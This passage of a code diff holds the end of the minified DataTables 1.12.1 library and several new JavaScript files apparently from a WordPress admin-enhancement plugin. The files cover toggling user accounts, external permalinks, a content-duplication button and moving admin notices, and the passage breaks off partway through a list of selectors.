q)return 0!==c.length?c[0].aaSorting:q;"number"===typeof a?a=[[a,b]]:a.length&&!Array.isArray(a[0])&&(a=Array.prototype.slice.call(arguments));return this.iterator("table",function(d){d.aaSorting=a.slice()})});z("order.listener()",function(a,b,c){return this.iterator("table",function(d){kb(d,a,b,c)})});z("order.fixed()",function(a){if(!a){var b=this.context;b=b.length?b[0].aaSortingFixed:q;return Array.isArray(b)?{pre:b}:b}return this.iterator("table",function(c){c.aaSortingFixed=l.extend(!0,{},a)})});
|
||||
z(["columns().order()","column().order()"],function(a){var b=this;return this.iterator("table",function(c,d){var e=[];l.each(b[d],function(h,f){e.push([f,a])});c.aaSorting=e})});z("search()",function(a,b,c,d){var e=this.context;return a===q?0!==e.length?e[0].oPreviousSearch.sSearch:q:this.iterator("table",function(h){h.oFeatures.bFilter&&ya(h,l.extend({},h.oPreviousSearch,{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),1)})});J("columns().search()","column().search()",
|
||||
function(a,b,c,d){return this.iterator("column",function(e,h){var f=e.aoPreSearchCols;if(a===q)return f[h].sSearch;e.oFeatures.bFilter&&(l.extend(f[h],{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),ya(e,e.oPreviousSearch,1))})});z("state()",function(){return this.context.length?this.context[0].oSavedState:null});z("state.clear()",function(){return this.iterator("table",function(a){a.fnStateSaveCallback.call(a.oInstance,a,{})})});z("state.loaded()",function(){return this.context.length?
|
||||
this.context[0].oLoadedState:null});z("state.save()",function(){return this.iterator("table",function(a){Da(a)})});u.versionCheck=u.fnVersionCheck=function(a){var b=u.version.split(".");a=a.split(".");for(var c,d,e=0,h=a.length;e<h;e++)if(c=parseInt(b[e],10)||0,d=parseInt(a[e],10)||0,c!==d)return c>d;return!0};u.isDataTable=u.fnIsDataTable=function(a){var b=l(a).get(0),c=!1;if(a instanceof u.Api)return!0;l.each(u.settings,function(d,e){d=e.nScrollHead?l("table",e.nScrollHead)[0]:null;var h=e.nScrollFoot?
|
||||
l("table",e.nScrollFoot)[0]:null;if(e.nTable===b||d===b||h===b)c=!0});return c};u.tables=u.fnTables=function(a){var b=!1;l.isPlainObject(a)&&(b=a.api,a=a.visible);var c=l.map(u.settings,function(d){if(!a||a&&l(d.nTable).is(":visible"))return d.nTable});return b?new B(c):c};u.camelToHungarian=P;z("$()",function(a,b){b=this.rows(b).nodes();b=l(b);return l([].concat(b.filter(a).toArray(),b.find(a).toArray()))});l.each(["on","one","off"],function(a,b){z(b+"()",function(){var c=Array.prototype.slice.call(arguments);
|
||||
c[0]=l.map(c[0].split(/\s/),function(e){return e.match(/\.dt\b/)?e:e+".dt"}).join(" ");var d=l(this.tables().nodes());d[b].apply(d,c);return this})});z("clear()",function(){return this.iterator("table",function(a){Ma(a)})});z("settings()",function(){return new B(this.context,this.context)});z("init()",function(){var a=this.context;return a.length?a[0].oInit:null});z("data()",function(){return this.iterator("table",function(a){return U(a.aoData,"_aData")}).flatten()});z("destroy()",function(a){a=a||
|
||||
!1;return this.iterator("table",function(b){var c=b.oClasses,d=b.nTable,e=b.nTBody,h=b.nTHead,f=b.nTFoot,g=l(d);e=l(e);var k=l(b.nTableWrapper),m=l.map(b.aoData,function(p){return p.nTr}),n;b.bDestroying=!0;F(b,"aoDestroyCallback","destroy",[b]);a||(new B(b)).columns().visible(!0);k.off(".DT").find(":not(tbody *)").off(".DT");l(y).off(".DT-"+b.sInstance);d!=h.parentNode&&(g.children("thead").detach(),g.append(h));f&&d!=f.parentNode&&(g.children("tfoot").detach(),g.append(f));b.aaSorting=[];b.aaSortingFixed=
|
||||
[];Va(b);l(m).removeClass(b.asStripeClasses.join(" "));l("th, td",h).removeClass(c.sSortable+" "+c.sSortableAsc+" "+c.sSortableDesc+" "+c.sSortableNone);e.children().detach();e.append(m);h=b.nTableWrapper.parentNode;f=a?"remove":"detach";g[f]();k[f]();!a&&h&&(h.insertBefore(d,b.nTableReinsertBefore),g.css("width",b.sDestroyWidth).removeClass(c.sTable),(n=b.asDestroyStripes.length)&&e.children().each(function(p){l(this).addClass(b.asDestroyStripes[p%n])}));c=l.inArray(b,u.settings);-1!==c&&u.settings.splice(c,
|
||||
1)})});l.each(["column","row","cell"],function(a,b){z(b+"s().every()",function(c){var d=this.selector.opts,e=this;return this.iterator(b,function(h,f,g,k,m){c.call(e[b](f,"cell"===b?g:d,"cell"===b?d:q),f,g,k,m)})})});z("i18n()",function(a,b,c){var d=this.context[0];a=ma(a)(d.oLanguage);a===q&&(a=b);c!==q&&l.isPlainObject(a)&&(a=a[c]!==q?a[c]:a._);return a.replace("%d",c)});u.version="1.12.1";u.settings=[];u.models={};u.models.oSearch={bCaseInsensitive:!0,sSearch:"",bRegex:!1,bSmart:!0,"return":!1};
|
||||
u.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:"",src:null,idx:-1};u.models.oColumn={idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:"std",sSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,
|
||||
sWidth:null,sWidthOrig:null};u.defaults={aaData:null,aaSorting:[[0,"asc"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,25,50,100],aoColumns:null,aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bLengthChange:!0,bPaginate:!0,bProcessing:!1,bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,fnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(a){return a.toString().replace(/\B(?=(\d{3})+(?!\d))/g,
|
||||
this.oLanguage.sThousands)},fnHeaderCallback:null,fnInfoCallback:null,fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(a){try{return JSON.parse((-1===a.iStateDuration?sessionStorage:localStorage).getItem("DataTables_"+a.sInstance+"_"+location.pathname))}catch(b){return{}}},fnStateLoadParams:null,fnStateLoaded:null,fnStateSaveCallback:function(a,b){try{(-1===a.iStateDuration?sessionStorage:localStorage).setItem("DataTables_"+
|
||||
a.sInstance+"_"+location.pathname,JSON.stringify(b))}catch(c){}},fnStateSaveParams:null,iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:": activate to sort column ascending",sSortDescending:": activate to sort column descending"},oPaginate:{sFirst:"First",sLast:"Last",sNext:"Next",sPrevious:"Previous"},sEmptyTable:"No data available in table",sInfo:"Showing _START_ to _END_ of _TOTAL_ entries",sInfoEmpty:"Showing 0 to 0 of 0 entries",
|
||||
sInfoFiltered:"(filtered from _MAX_ total entries)",sInfoPostFix:"",sDecimal:"",sThousands:",",sLengthMenu:"Show _MENU_ entries",sLoadingRecords:"Loading...",sProcessing:"",sSearch:"Search:",sSearchPlaceholder:"",sUrl:"",sZeroRecords:"No matching records found"},oSearch:l.extend({},u.models.oSearch),sAjaxDataProp:"data",sAjaxSource:null,sDom:"lfrtip",searchDelay:null,sPaginationType:"simple_numbers",sScrollX:"",sScrollXInner:"",sScrollY:"",sServerMethod:"GET",renderer:null,rowId:"DT_RowId"};E(u.defaults);
|
||||
u.defaults.column={aDataSort:null,iDataSort:-1,asSorting:["asc","desc"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,mData:null,mRender:null,sCellType:"td",sClass:"",sContentPadding:"",sDefaultContent:null,sName:"",sSortDataType:"std",sTitle:null,sType:null,sWidth:null};E(u.defaults.column);u.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,bInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,
|
||||
bStateSave:null},oScroll:{bCollapse:null,iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,bScrollbarLeft:!1,bBounding:!1,barWidth:0},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],aIds:{},aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],sDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],
|
||||
aoRowCreatedCallback:[],aoPreDrawCallback:[],aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:"",nTable:null,nTHead:null,nTFoot:null,nTBody:null,nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,searchDelay:null,sPaginationType:"two_button",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oSavedState:null,oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,jqXHR:null,json:q,oAjaxData:q,fnServerData:null,aoServerParams:[],sServerMethod:null,
|
||||
fnFormatNumber:null,aLengthMenu:null,iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,oInit:null,aoDestroyCallback:[],fnRecordsTotal:function(){return"ssp"==Q(this)?1*this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return"ssp"==Q(this)?1*this._iRecordsDisplay:this.aiDisplay.length},fnDisplayEnd:function(){var a=this._iDisplayLength,b=this._iDisplayStart,c=b+
|
||||
a,d=this.aiDisplay.length,e=this.oFeatures,h=e.bPaginate;return e.bServerSide?!1===h||-1===a?b+d:Math.min(b+a,this._iRecordsDisplay):!h||c>d||-1===a?d:c},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,nScrollFoot:null,aLastSort:[],oPlugins:{},rowIdFn:null,rowId:null};u.ext=M={buttons:{},classes:{},build:"dt/dt-1.12.1",errMode:"alert",feature:[],search:[],selector:{cell:[],column:[],row:[]},internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},header:{}},order:{},type:{detect:[],
|
||||
search:{},order:{}},_unique:0,fnVersionCheck:u.fnVersionCheck,iApiIndex:0,oJUIClasses:{},sVersion:u.version};l.extend(M,{afnFiltering:M.search,aTypes:M.type.detect,ofnSearch:M.type.search,oSort:M.type.order,afnSortData:M.order,aoFeatures:M.feature,oApi:M.internal,oStdClasses:M.classes,oPagination:M.pager});l.extend(u.ext.classes,{sTable:"dataTable",sNoFooter:"no-footer",sPageButton:"paginate_button",sPageButtonActive:"current",sPageButtonDisabled:"disabled",sStripeOdd:"odd",sStripeEven:"even",sRowEmpty:"dataTables_empty",
|
||||
sWrapper:"dataTables_wrapper",sFilter:"dataTables_filter",sInfo:"dataTables_info",sPaging:"dataTables_paginate paging_",sLength:"dataTables_length",sProcessing:"dataTables_processing",sSortAsc:"sorting_asc",sSortDesc:"sorting_desc",sSortable:"sorting",sSortableAsc:"sorting_desc_disabled",sSortableDesc:"sorting_asc_disabled",sSortableNone:"sorting_disabled",sSortColumn:"sorting_",sFilterInput:"",sLengthSelect:"",sScrollWrapper:"dataTables_scroll",sScrollHead:"dataTables_scrollHead",sScrollHeadInner:"dataTables_scrollHeadInner",
|
||||
sScrollBody:"dataTables_scrollBody",sScrollFoot:"dataTables_scrollFoot",sScrollFootInner:"dataTables_scrollFootInner",sHeaderTH:"",sFooterTH:"",sSortJUIAsc:"",sSortJUIDesc:"",sSortJUI:"",sSortJUIAscAllowed:"",sSortJUIDescAllowed:"",sSortJUIWrapper:"",sSortIcon:"",sJUIHeader:"",sJUIFooter:""});var ic=u.ext.pager;l.extend(ic,{simple:function(a,b){return["previous","next"]},full:function(a,b){return["first","previous","next","last"]},numbers:function(a,b){return[Ea(a,b)]},simple_numbers:function(a,b){return["previous",
|
||||
Ea(a,b),"next"]},full_numbers:function(a,b){return["first","previous",Ea(a,b),"next","last"]},first_last_numbers:function(a,b){return["first",Ea(a,b),"last"]},_numbers:Ea,numbers_length:7});l.extend(!0,u.ext.renderer,{pageButton:{_:function(a,b,c,d,e,h){var f=a.oClasses,g=a.oLanguage.oPaginate,k=a.oLanguage.oAria.paginate||{},m,n,p=0,t=function(x,w){var r,C=f.sPageButtonDisabled,G=function(I){Ta(a,I.data.action,!0)};var ba=0;for(r=w.length;ba<r;ba++){var L=w[ba];if(Array.isArray(L)){var O=l("<"+(L.DT_el||
|
||||
"div")+"/>").appendTo(x);t(O,L)}else{m=null;n=L;O=a.iTabIndex;switch(L){case "ellipsis":x.append('<span class="ellipsis">…</span>');break;case "first":m=g.sFirst;0===e&&(O=-1,n+=" "+C);break;case "previous":m=g.sPrevious;0===e&&(O=-1,n+=" "+C);break;case "next":m=g.sNext;if(0===h||e===h-1)O=-1,n+=" "+C;break;case "last":m=g.sLast;if(0===h||e===h-1)O=-1,n+=" "+C;break;default:m=a.fnFormatNumber(L+1),n=e===L?f.sPageButtonActive:""}null!==m&&(O=l("<a>",{"class":f.sPageButton+" "+n,"aria-controls":a.sTableId,
|
||||
"aria-label":k[L],"data-dt-idx":p,tabindex:O,id:0===c&&"string"===typeof L?a.sTableId+"_"+L:null}).html(m).appendTo(x),sb(O,{action:L},G),p++)}}};try{var v=l(b).find(A.activeElement).data("dt-idx")}catch(x){}t(l(b).empty(),d);v!==q&&l(b).find("[data-dt-idx="+v+"]").trigger("focus")}}});l.extend(u.ext.type.detect,[function(a,b){b=b.oLanguage.sDecimal;return yb(a,b)?"num"+b:null},function(a,b){if(a&&!(a instanceof Date)&&!Dc.test(a))return null;b=Date.parse(a);return null!==b&&!isNaN(b)||aa(a)?"date":
|
||||
null},function(a,b){b=b.oLanguage.sDecimal;return yb(a,b,!0)?"num-fmt"+b:null},function(a,b){b=b.oLanguage.sDecimal;return pc(a,b)?"html-num"+b:null},function(a,b){b=b.oLanguage.sDecimal;return pc(a,b,!0)?"html-num-fmt"+b:null},function(a,b){return aa(a)||"string"===typeof a&&-1!==a.indexOf("<")?"html":null}]);l.extend(u.ext.type.search,{html:function(a){return aa(a)?a:"string"===typeof a?a.replace(mc," ").replace(Ya,""):""},string:function(a){return aa(a)?a:"string"===typeof a?a.replace(mc," "):
|
||||
a}});var Xa=function(a,b,c,d){if(0!==a&&(!a||"-"===a))return-Infinity;b&&(a=oc(a,b));a.replace&&(c&&(a=a.replace(c,"")),d&&(a=a.replace(d,"")));return 1*a};l.extend(M.type.order,{"date-pre":function(a){a=Date.parse(a);return isNaN(a)?-Infinity:a},"html-pre":function(a){return aa(a)?"":a.replace?a.replace(/<.*?>/g,"").toLowerCase():a+""},"string-pre":function(a){return aa(a)?"":"string"===typeof a?a.toLowerCase():a.toString?a.toString():""},"string-asc":function(a,b){return a<b?-1:a>b?1:0},"string-desc":function(a,
|
||||
b){return a<b?1:a>b?-1:0}});bb("");l.extend(!0,u.ext.renderer,{header:{_:function(a,b,c,d){l(a.nTable).on("order.dt.DT",function(e,h,f,g){a===h&&(e=c.idx,b.removeClass(d.sSortAsc+" "+d.sSortDesc).addClass("asc"==g[e]?d.sSortAsc:"desc"==g[e]?d.sSortDesc:c.sSortingClass))})},jqueryui:function(a,b,c,d){l("<div/>").addClass(d.sSortJUIWrapper).append(b.contents()).append(l("<span/>").addClass(d.sSortIcon+" "+c.sSortingClassJUI)).appendTo(b);l(a.nTable).on("order.dt.DT",function(e,h,f,g){a===h&&(e=c.idx,
|
||||
b.removeClass(d.sSortAsc+" "+d.sSortDesc).addClass("asc"==g[e]?d.sSortAsc:"desc"==g[e]?d.sSortDesc:c.sSortingClass),b.find("span."+d.sSortIcon).removeClass(d.sSortJUIAsc+" "+d.sSortJUIDesc+" "+d.sSortJUI+" "+d.sSortJUIAscAllowed+" "+d.sSortJUIDescAllowed).addClass("asc"==g[e]?d.sSortJUIAsc:"desc"==g[e]?d.sSortJUIDesc:c.sSortingClassJUI))})}}});var $a=function(a){Array.isArray(a)&&(a=a.join(","));return"string"===typeof a?a.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,
|
||||
"""):a},kc=!1,zc=",",Ac=".";if(Intl)try{for(var Ha=(new Intl.NumberFormat).formatToParts(100000.1),ra=0;ra<Ha.length;ra++)"group"===Ha[ra].type?zc=Ha[ra].value:"decimal"===Ha[ra].type&&(Ac=Ha[ra].value)}catch(a){}u.datetime=function(a,b){var c="datetime-detect-"+a;b||(b="en");u.ext.type.order[c]||(u.ext.type.detect.unshift(function(d){var e=Za(d,a,b);return""===d||e?c:!1}),u.ext.type.order[c+"-pre"]=function(d){return Za(d,a,b)||0})};u.render={date:wb("toLocaleDateString"),datetime:wb("toLocaleString"),
|
||||
time:wb("toLocaleTimeString"),number:function(a,b,c,d,e){if(null===a||a===q)a=zc;if(null===b||b===q)b=Ac;return{display:function(h){if("number"!==typeof h&&"string"!==typeof h||""===h||null===h)return h;var f=0>h?"-":"",g=parseFloat(h);if(isNaN(g))return $a(h);g=g.toFixed(c);h=Math.abs(g);g=parseInt(h,10);h=c?b+(h-g).toFixed(c).substring(2):"";0===g&&0===parseFloat(h)&&(f="");return f+(d||"")+g.toString().replace(/\B(?=(\d{3})+(?!\d))/g,a)+h+(e||"")}}},text:function(){return{display:$a,filter:$a}}};
|
||||
l.extend(u.ext.internal,{_fnExternApiFunc:lc,_fnBuildAjax:Qa,_fnAjaxUpdate:Kb,_fnAjaxParameters:Tb,_fnAjaxUpdateDraw:Ub,_fnAjaxDataSrc:za,_fnAddColumn:cb,_fnColumnOptions:Ia,_fnAdjustColumnSizing:sa,_fnVisibleToColumnIndex:ta,_fnColumnIndexToVisible:ua,_fnVisbleColumns:na,_fnGetColumns:Ka,_fnColumnTypes:eb,_fnApplyColumnDefs:Hb,_fnHungarianMap:E,_fnCamelToHungarian:P,_fnLanguageCompat:la,_fnBrowserDetect:Fb,_fnAddData:ia,_fnAddTr:La,_fnNodeToDataIndex:function(a,b){return b._DT_RowIndex!==q?b._DT_RowIndex:
|
||||
null},_fnNodeToColumnIndex:function(a,b,c){return l.inArray(c,a.aoData[b].anCells)},_fnGetCellData:T,_fnSetCellData:Ib,_fnSplitObjNotation:hb,_fnGetObjectDataFn:ma,_fnSetObjectDataFn:ha,_fnGetDataMaster:ib,_fnClearTable:Ma,_fnDeleteIndex:Na,_fnInvalidate:va,_fnGetRowElements:gb,_fnCreateTr:fb,_fnBuildHead:Jb,_fnDrawHead:xa,_fnDraw:ja,_fnReDraw:ka,_fnAddOptionsHtml:Mb,_fnDetectHeader:wa,_fnGetUniqueThs:Pa,_fnFeatureHtmlFilter:Ob,_fnFilterComplete:ya,_fnFilterCustom:Xb,_fnFilterColumn:Wb,_fnFilter:Vb,
|
||||
_fnFilterCreateSearch:nb,_fnEscapeRegex:ob,_fnFilterData:Yb,_fnFeatureHtmlInfo:Rb,_fnUpdateInfo:ac,_fnInfoMacros:bc,_fnInitialise:Aa,_fnInitComplete:Ra,_fnLengthChange:pb,_fnFeatureHtmlLength:Nb,_fnFeatureHtmlPaginate:Sb,_fnPageChange:Ta,_fnFeatureHtmlProcessing:Pb,_fnProcessingDisplay:V,_fnFeatureHtmlTable:Qb,_fnScrollDraw:Ja,_fnApplyToChildren:da,_fnCalculateColumnWidths:db,_fnThrottle:mb,_fnConvertToWidth:cc,_fnGetWidestNode:dc,_fnGetMaxLenString:ec,_fnStringToCss:K,_fnSortFlatten:oa,_fnSort:Lb,
|
||||
_fnSortAria:gc,_fnSortListener:rb,_fnSortAttachListener:kb,_fnSortingClasses:Va,_fnSortData:fc,_fnSaveState:Da,_fnLoadState:hc,_fnImplementState:tb,_fnSettingsFromNode:Wa,_fnLog:ea,_fnMap:Y,_fnBindAction:sb,_fnCallbackReg:R,_fnCallbackFire:F,_fnLengthOverflow:qb,_fnRenderer:lb,_fnDataSource:Q,_fnRowAttributes:jb,_fnExtend:ub,_fnCalculateEnd:function(){}});l.fn.dataTable=u;u.$=l;l.fn.dataTableSettings=u.settings;l.fn.dataTableExt=u.ext;l.fn.DataTable=function(a){return l(this).dataTable(a).api()};
|
||||
l.each(u,function(a,b){l.fn.DataTable[a]=b});return u});
|
||||
|
||||
|
||||
/*!
|
||||
DataTables styling integration
|
||||
©2018 SpryMedia Ltd - datatables.net/license
|
||||
*/
|
||||
(function(c){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(a){return c(a,window,document)}):"object"===typeof exports?module.exports=function(a,b){a||(a=window);b&&b.fn.dataTable||(b=require("datatables.net")(a,b).$);return c(b,a,a.document)}:c(jQuery,window,document)})(function(c,a,b,d){return c.fn.dataTable});
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
( function ( $ ) {
|
||||
'use strict';
|
||||
|
||||
$( document ).on( 'click', '.asenha-user-account-toggle', function ( e ) {
|
||||
e.preventDefault();
|
||||
|
||||
var $link = $( this );
|
||||
var userId = parseInt( $link.data( 'user-id' ), 10 );
|
||||
var setDisabled = parseInt( $link.attr( 'data-set-disabled' ), 10 ) === 1;
|
||||
|
||||
if ( ! userId || typeof asenhaDisableUserAccount === 'undefined' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$link.css( 'pointer-events', 'none' );
|
||||
|
||||
$.post( asenhaDisableUserAccount.ajaxUrl, {
|
||||
action: 'asenha_user_account_toggle_disabled',
|
||||
nonce: asenhaDisableUserAccount.nonce,
|
||||
user_id: userId,
|
||||
set_disabled: setDisabled ? 1 : 0
|
||||
} )
|
||||
.done( function ( response ) {
|
||||
if ( ! response || ! response.success || ! response.data ) {
|
||||
return;
|
||||
}
|
||||
var $row = $( '#user-' + userId );
|
||||
$row.find( '.column-asenha_user_account_status' ).html(
|
||||
response.data.status_html
|
||||
);
|
||||
$link.text( response.data.action_label );
|
||||
$link.attr(
|
||||
'data-set-disabled',
|
||||
response.data.next_set_disabled
|
||||
);
|
||||
} )
|
||||
.always( function () {
|
||||
$link.css( 'pointer-events', '' );
|
||||
} );
|
||||
} );
|
||||
} )( jQuery );
|
||||
@@ -0,0 +1,26 @@
|
||||
document.addEventListener('DOMContentLoaded', function() {
|
||||
|
||||
// console.log( phpVars );
|
||||
|
||||
// When External Permalinks is enabled, remove #new_tab from external permalinks and set target to _blank
|
||||
if (phpVars.externalPermalinksEnabled) {
|
||||
|
||||
var links = document.getElementsByTagName('a');
|
||||
|
||||
for (var i = 0; i < links.length; i++) {
|
||||
var url = links[i].getAttribute('href');
|
||||
var target = links[i].getAttribute('target');
|
||||
|
||||
if (url != null) {
|
||||
if (url.indexOf('#new_tab') >= 0) {
|
||||
url = url.replace('#new_tab', '');
|
||||
target = '_blank';
|
||||
links[i].setAttribute('href', url);
|
||||
links[i].setAttribute('target', target);
|
||||
links[i].setAttribute('rel', 'noopener noreferrer nofollow');
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
});
|
||||
@@ -0,0 +1,29 @@
|
||||
// Ref: https://plugins.trac.wordpress.org/browser/duplicate-page/tags/4.5/js/editor-script.js
|
||||
var el = wp.element.createElement;
|
||||
var __ = wp.i18n.__;
|
||||
var registerPlugin = wp.plugins.registerPlugin;
|
||||
var PluginPostStatusInfo = wp.editPost.PluginPostStatusInfo;
|
||||
var buttonControl = wp.components.Button;
|
||||
|
||||
function asenhaContentDuplicationButton({}) {
|
||||
return el(
|
||||
PluginPostStatusInfo,
|
||||
{
|
||||
className: 'asenha-content-duplication-status-info'
|
||||
},
|
||||
el(
|
||||
buttonControl,
|
||||
{
|
||||
variant: 'secondary',
|
||||
name: 'asenha_gutenberg_content_duplication_link',
|
||||
isLink: true,
|
||||
title: cd_params.cd_post_title,
|
||||
href : cd_params.cd_duplicate_link+"&post="+cd_params.cd_post_id+"&nonce="+cd_params.cd_nonce
|
||||
}, cd_params.cd_post_text
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
registerPlugin( 'asenha-content-duplication-status-info-plugin', {
|
||||
render: asenhaContentDuplicationButton
|
||||
} );
|
||||
@@ -0,0 +1,318 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
$(document).ready( function() {
|
||||
var noticesCount;
|
||||
|
||||
// Move admin notices at an interval after document is ready and WP core moves the position of notices under the page heading.
|
||||
// https://plugins.trac.wordpress.org/browser/hide-admin-notices/tags/1.2.2/assets/js/hide-admin-notices.js
|
||||
// https://plugins.trac.wordpress.org/browser/admin-notices-manager/tags/1.3.1/assets/js/admin/notices.js
|
||||
|
||||
var noticesPanel = $('.asenha-admin-notices-drawer');
|
||||
var startTime = new Date().getTime();
|
||||
|
||||
var interval = setInterval(function () {
|
||||
|
||||
// Stop monitoring after 1,05 seconds (some notices has a 1 second delay, so, we make this slightly longer)
|
||||
if (new Date().getTime() - startTime > 1050) {
|
||||
clearInterval(interval);
|
||||
|
||||
// Count hidden notices and append into admin bar counter
|
||||
noticesCount = $('.asenha-admin-notices-drawer > div').length;
|
||||
|
||||
if ( noticesCount > 0 ) {
|
||||
$('.asenha-admin-notices-menu').show(); // show admin bar menu
|
||||
// $('.asenha-admin-notices-counter').show(); // show counter
|
||||
$('.asenha-admin-notices-counter').html(noticesCount); // insert count
|
||||
$('.asenha-admin-notices-counter').css("opacity", "1"); // show counter
|
||||
} else {
|
||||
$('.asenha-admin-notices-menu').hide(); // hide admin bar menu
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Plugins that outputs notices. For testing.
|
||||
// Ajax Press - https://wordpress.org/plugins/ajax-press/
|
||||
// Atlas Search - https://wordpress.org/plugins/atlas-search/
|
||||
// ExactMetrics Analytics - https://wordpress.org/plugins/google-analytics-dashboard-for-wp/
|
||||
// JetPack - https://wordpress.org/plugins/jetpack/
|
||||
// ManageWP Worker - https://wordpress.org/plugins/worker/
|
||||
// WP Smushit - https://wordpress.org/plugins/wp-smushit/
|
||||
// FluentSMTP - https://wordpress.org/plugins/fluent-smtp/
|
||||
// WP Backend File Search - https://wordpress.org/plugins/wp-backend-file-search-editor-tweaks/
|
||||
// TotalPress Custom post types - https://wordpress.org/plugins/custom-post-types/
|
||||
|
||||
// Reposition notices with the following selectors. Excluding 'notice-system'.
|
||||
var noticesToMove = $('#wpbody-content > .wrap > .notice:not(#plugin-activated-successfully,.system-notice,.updated,.hidden,.inline,.wcml-notice,.asenha-media-replacement-notice),'
|
||||
+ '#wpbody-content > .wrap > .notice-error,'
|
||||
+ '#wpbody-content > .wrap > .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap > .notice-info,'
|
||||
+ '#wpbody-content > .wrap > .notice-information,'
|
||||
+ '#wpbody-content > .wrap > #message:not(.updated,.asenha-media-replacement-notice),'
|
||||
+ '#wpbody-content > .wrap > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap > .notice-success:not(.updated,#plugin-activated-successfully,.asenha-media-replacement-notice),'
|
||||
+ '#wpbody-content > .wrap > .notice-updated,'
|
||||
+ '#wpbody-content > .wrap > .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap > .update-nag,'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-error,'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-info,'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-information,'
|
||||
+ '#wpbody-content > .wrap > div > #message,'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-success,'
|
||||
+ '#wpbody-content > .wrap > div :not(#loco-notices,#loco-content)> .notice-updated,'
|
||||
+ '#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap > div > .update-nag,'
|
||||
+ '#wpbody-content > div > .wrap > .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > div > .wrap > .notice-error,'
|
||||
+ '#wpbody-content > div > .wrap > .error:not(.hidden),'
|
||||
+ '#wpbody-content > div > .wrap > .notice-info,'
|
||||
+ '#wpbody-content > div > .wrap > .notice-information,'
|
||||
+ '#wpbody-content > div > .wrap > #message,'
|
||||
+ '#wpbody-content > div > .wrap > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > div > .wrap > .notice-success,'
|
||||
+ '#wpbody-content > div > .wrap > .notice-updated,'
|
||||
+ '#wpbody-content > div > .wrap > .updated:not(.inline),'
|
||||
+ '#wpbody-content > div > .wrap > .update-nag,'
|
||||
// e.g. on user deletion screen
|
||||
+ '#wpbody-content > form > .wrap > .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > form > .wrap > .notice-error,'
|
||||
+ '#wpbody-content > form > .wrap > .error:not(.hidden),'
|
||||
+ '#wpbody-content > form > .wrap > .notice-info,'
|
||||
+ '#wpbody-content > form > .wrap > .notice-information,'
|
||||
+ '#wpbody-content > form > .wrap > #message,'
|
||||
